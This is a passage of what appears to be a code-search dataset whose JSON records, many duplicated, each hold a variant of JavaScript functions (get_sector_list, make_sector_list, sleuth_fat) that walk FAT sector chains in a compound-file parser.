j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "1f77773b1bfe5ef6a731cc915ee7afcd", "score": "0.58423257", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar buf = [], buf_chain = [];\n\tif(!chkd) chkd = [];\n\tvar modulus = ssz - 1, j = 0, jj = 0;\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\tif(!sectors[addr]) break;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "654bc75e11b7bdc1cc2c9af91a6896f4", "score": "0.58400476", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n var q = ENDOFCHAIN;\n\n if (idx === ENDOFCHAIN) {\n if (cnt !== 0) throw new Error(\"DIFAT chain shorter than expected\");\n } else if (idx !== -1\n /*FREESECT*/\n ) {\n var sector = sectors[idx],\n m = (ssz >>> 2) - 1;\n if (!sector) return;\n\n for (var i = 0; i < m; ++i) {\n if ((q = __readInt32LE(sector, i * 4)) === ENDOFCHAIN) break;\n fat_addrs.push(q);\n }\n\n sleuth_fat(__readInt32LE(sector, ssz - 4), cnt - 1, sectors, ssz, fat_addrs);\n }\n }", "title": "" }, { "docid": "e02ffb1e6253871d0e3d100e3c4caccf", "score": "0.58078784", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n var sl = sectors.length;\n var buf, buf_chain;\n if (!chkd)\n chkd = new Array(sl);\n var modulus = ssz - 1, j, jj;\n buf = [];\n buf_chain = [];\n for (j = start; j >= 0;) {\n chkd[j] = true;\n buf[buf.length] = j;\n buf_chain.push(sectors[j]);\n var addr = fat_addrs[Math.floor(j * 4 / ssz)];\n jj = j * 4 & modulus;\n if (ssz < 4 + jj)\n throw 'FAT boundary crossed: ' + j + ' 4 ' + ssz;\n j = __readInt32LE(sectors[addr], jj);\n }\n return {\n nodes: buf,\n data: __toBuffer([buf_chain])\n };\n }", "title": "" }, { "docid": "e02ffb1e6253871d0e3d100e3c4caccf", "score": "0.58078784", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n var sl = sectors.length;\n var buf, buf_chain;\n if (!chkd)\n chkd = new Array(sl);\n var modulus = ssz - 1, j, jj;\n buf = [];\n buf_chain = [];\n for (j = start; j >= 0;) {\n chkd[j] = true;\n buf[buf.length] = j;\n buf_chain.push(sectors[j]);\n var addr = fat_addrs[Math.floor(j * 4 / ssz)];\n jj = j * 4 & modulus;\n if (ssz < 4 + jj)\n throw 'FAT boundary crossed: ' + j + ' 4 ' + ssz;\n j = __readInt32LE(sectors[addr], jj);\n }\n return {\n nodes: buf,\n data: __toBuffer([buf_chain])\n };\n }", "title": "" }, { "docid": "cb1d915d995d0a13ece4790d46a2e712", "score": "0.5783348", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tvar seen = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tseen[j] = true;\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t\tif(seen[j]) break;\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "cb1d915d995d0a13ece4790d46a2e712", "score": "0.5783348", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tvar seen = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tseen[j] = true;\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t\tif(seen[j]) break;\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "cb1d915d995d0a13ece4790d46a2e712", "score": "0.5783348", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tvar seen = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tseen[j] = true;\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t\tif(seen[j]) break;\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "cb1d915d995d0a13ece4790d46a2e712", "score": "0.5783348", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tvar seen = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tseen[j] = true;\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t\tif(seen[j]) break;\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "da7555096be5d4d1629773492e72add8", "score": "0.5781814", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n var sl = sectors.length,\n sector_list = [];\n var chkd = [],\n buf = [],\n buf_chain = [];\n var modulus = ssz - 1,\n i = 0,\n j = 0,\n k = 0,\n jj = 0;\n\n for (i = 0; i < sl; ++i) {\n buf = [];\n k = i + dir_start;\n if (k >= sl) k -= sl;\n if (chkd[k]) continue;\n buf_chain = [];\n var seen = [];\n\n for (j = k; j >= 0;) {\n seen[j] = true;\n chkd[j] = true;\n buf[buf.length] = j;\n buf_chain.push(sectors[j]);\n var addr = fat_addrs[Math.floor(j * 4 / ssz)];\n jj = j * 4 & modulus;\n if (ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \" + ssz);\n if (!sectors[addr]) break;\n j = __readInt32LE(sectors[addr], jj);\n if (seen[j]) break;\n }\n\n sector_list[k] = {\n nodes: buf,\n data: __toBuffer([buf_chain])\n };\n }\n\n return sector_list;\n }", "title": "" }, { "docid": "e6c672f583073c27e63f3490b99d0823", "score": "0.57704407", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\t\tvar sl = sectors.length;\n\t\tvar buf, buf_chain;\n\t\tif(!chkd) chkd = new Array(sl);\n\t\tvar modulus = ssz - 1, j, jj;\n\t\tbuf = [];\n\t\tbuf_chain = [];\n\t\tfor(j=start; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n\t}", "title": "" }, { "docid": "4fdaa828302d0a4da82b74ec3bab09a0", "score": "0.57485056", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = new Array(sl);\n\tvar chkd = new Array(sl), buf, buf_chain;\n\tvar modulus = ssz - 1, i, j, k, jj;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = [];\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k] === true) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = {nodes: buf, data:__toBuffer([buf_chain])};\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "4fdaa828302d0a4da82b74ec3bab09a0", "score": "0.57485056", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = new Array(sl);\n\tvar chkd = new Array(sl), buf, buf_chain;\n\tvar modulus = ssz - 1, i, j, k, jj;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = [];\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k] === true) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = {nodes: buf, data:__toBuffer([buf_chain])};\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "4fdaa828302d0a4da82b74ec3bab09a0", "score": "0.57485056", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = new Array(sl);\n\tvar chkd = new Array(sl), buf, buf_chain;\n\tvar modulus = ssz - 1, i, j, k, jj;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = [];\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k] === true) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = {nodes: buf, data:__toBuffer([buf_chain])};\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "4fdaa828302d0a4da82b74ec3bab09a0", "score": "0.57485056", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = new Array(sl);\n\tvar chkd = new Array(sl), buf, buf_chain;\n\tvar modulus = ssz - 1, i, j, k, jj;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = [];\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k] === true) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = {nodes: buf, data:__toBuffer([buf_chain])};\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "35a21968e1eaeea8a4674a09a780ba59", "score": "0.574271", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = new Array(sl);\n\tvar chkd = new Array(sl), buf, buf_chain;\n\tvar modulus = ssz - 1, i, j, k, jj;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = [];\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k] === true) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = {nodes: buf, data:__toBuffer([buf_chain])};\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "b53c8b56575fe301d75be44d96137d04", "score": "0.5729747", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n var q;\n if (idx === ENDOFCHAIN) {\n if (cnt !== 0)\n throw 'DIFAT chain shorter than expected';\n } else if (idx !== -1) {\n var sector = sectors[idx], m = (ssz >>> 2) - 1;\n for (var i = 0; i < m; ++i) {\n if ((q = __readInt32LE(sector, i * 4)) === ENDOFCHAIN)\n break;\n fat_addrs.push(q);\n }\n sleuth_fat(__readInt32LE(sector, ssz - 4), cnt - 1, sectors, ssz, fat_addrs);\n }\n }", "title": "" }, { "docid": "b53c8b56575fe301d75be44d96137d04", "score": "0.5729747", "text": "function sleuth_fat(idx, cnt, sectors, ssz, fat_addrs) {\n var q;\n if (idx === ENDOFCHAIN) {\n if (cnt !== 0)\n throw 'DIFAT chain shorter than expected';\n } else if (idx !== -1) {\n var sector = sectors[idx], m = (ssz >>> 2) - 1;\n for (var i = 0; i < m; ++i) {\n if ((q = __readInt32LE(sector, i * 4)) === ENDOFCHAIN)\n break;\n fat_addrs.push(q);\n }\n sleuth_fat(__readInt32LE(sector, ssz - 4), cnt - 1, sectors, ssz, fat_addrs);\n }\n }", "title": "" }, { "docid": "d5111696be0e8be98222d403172ad9f7", "score": "0.57294405", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar sl = sectors.length;\n\tvar buf, buf_chain;\n\tif(!chkd) chkd = new Array(sl);\n\tvar modulus = ssz - 1, j, jj;\n\tbuf = [];\n\tbuf_chain = [];\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "d5111696be0e8be98222d403172ad9f7", "score": "0.57294405", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar sl = sectors.length;\n\tvar buf, buf_chain;\n\tif(!chkd) chkd = new Array(sl);\n\tvar modulus = ssz - 1, j, jj;\n\tbuf = [];\n\tbuf_chain = [];\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "d5111696be0e8be98222d403172ad9f7", "score": "0.57294405", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar sl = sectors.length;\n\tvar buf, buf_chain;\n\tif(!chkd) chkd = new Array(sl);\n\tvar modulus = ssz - 1, j, jj;\n\tbuf = [];\n\tbuf_chain = [];\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "d5111696be0e8be98222d403172ad9f7", "score": "0.57294405", "text": "function get_sector_list(sectors, start, fat_addrs, ssz, chkd) {\n\tvar sl = sectors.length;\n\tvar buf, buf_chain;\n\tif(!chkd) chkd = new Array(sl);\n\tvar modulus = ssz - 1, j, jj;\n\tbuf = [];\n\tbuf_chain = [];\n\tfor(j=start; j>=0;) {\n\t\tchkd[j] = true;\n\t\tbuf[buf.length] = j;\n\t\tbuf_chain.push(sectors[j]);\n\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\tjj = ((j*4) & modulus);\n\t\tif(ssz < 4 + jj) throw \"FAT boundary crossed: \" + j + \" 4 \"+ssz;\n\t\tj = __readInt32LE(sectors[addr], jj);\n\t}\n\treturn {nodes: buf, data:__toBuffer([buf_chain])};\n}", "title": "" }, { "docid": "f5533c9365edf00db346fb1c8a2616da", "score": "0.5723339", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n var sl = sectors.length, sector_list = new Array(sl);\n var chkd = new Array(sl), buf, buf_chain;\n var modulus = ssz - 1, i, j, k, jj;\n for (i = 0; i < sl; ++i) {\n buf = [];\n k = i + dir_start;\n if (k >= sl)\n k -= sl;\n if (chkd[k] === true)\n continue;\n buf_chain = [];\n for (j = k; j >= 0;) {\n chkd[j] = true;\n buf[buf.length] = j;\n buf_chain.push(sectors[j]);\n var addr = fat_addrs[Math.floor(j * 4 / ssz)];\n jj = j * 4 & modulus;\n if (ssz < 4 + jj)\n throw 'FAT boundary crossed: ' + j + ' 4 ' + ssz;\n j = __readInt32LE(sectors[addr], jj);\n }\n sector_list[k] = {\n nodes: buf,\n data: __toBuffer([buf_chain])\n };\n }\n return sector_list;\n }", "title": "" }, { "docid": "f5533c9365edf00db346fb1c8a2616da", "score": "0.5723339", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n var sl = sectors.length, sector_list = new Array(sl);\n var chkd = new Array(sl), buf, buf_chain;\n var modulus = ssz - 1, i, j, k, jj;\n for (i = 0; i < sl; ++i) {\n buf = [];\n k = i + dir_start;\n if (k >= sl)\n k -= sl;\n if (chkd[k] === true)\n continue;\n buf_chain = [];\n for (j = k; j >= 0;) {\n chkd[j] = true;\n buf[buf.length] = j;\n buf_chain.push(sectors[j]);\n var addr = fat_addrs[Math.floor(j * 4 / ssz)];\n jj = j * 4 & modulus;\n if (ssz < 4 + jj)\n throw 'FAT boundary crossed: ' + j + ' 4 ' + ssz;\n j = __readInt32LE(sectors[addr], jj);\n }\n sector_list[k] = {\n nodes: buf,\n data: __toBuffer([buf_chain])\n };\n }\n return sector_list;\n }", "title": "" }, { "docid": "c4750b9de0a0c2e012dd76767109150a", "score": "0.5716435", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) break;\n\t\t\tj = __readInt32LE(sectors[addr], jj);\n\t\t}\n\t\tsector_list[k] = ({nodes: buf, data:__toBuffer([buf_chain])});\n\t}\n\treturn sector_list;\n}", "title": "" }, { "docid": "c4750b9de0a0c2e012dd76767109150a", "score": "0.5716435", "text": "function make_sector_list(sectors, dir_start, fat_addrs, ssz) {\n\tvar sl = sectors.length, sector_list = ([]);\n\tvar chkd = [], buf = [], buf_chain = [];\n\tvar modulus = ssz - 1, i=0, j=0, k=0, jj=0;\n\tfor(i=0; i < sl; ++i) {\n\t\tbuf = ([]);\n\t\tk = (i + dir_start); if(k >= sl) k-=sl;\n\t\tif(chkd[k]) continue;\n\t\tbuf_chain = [];\n\t\tfor(j=k; j>=0;) {\n\t\t\tchkd[j] = true;\n\t\t\tbuf[buf.length] = j;\n\t\t\tbuf_chain.push(sectors[j]);\n\t\t\tvar addr = fat_addrs[Math.floor(j*4/ssz)];\n\t\t\tjj = ((j*4) & modulus);\n\t\t\tif(ssz < 4 + jj) throw new Error(\"FAT boundary crossed: \" + j + \" 4 \"+ssz);\n\t\t\tif(!sectors[addr]) 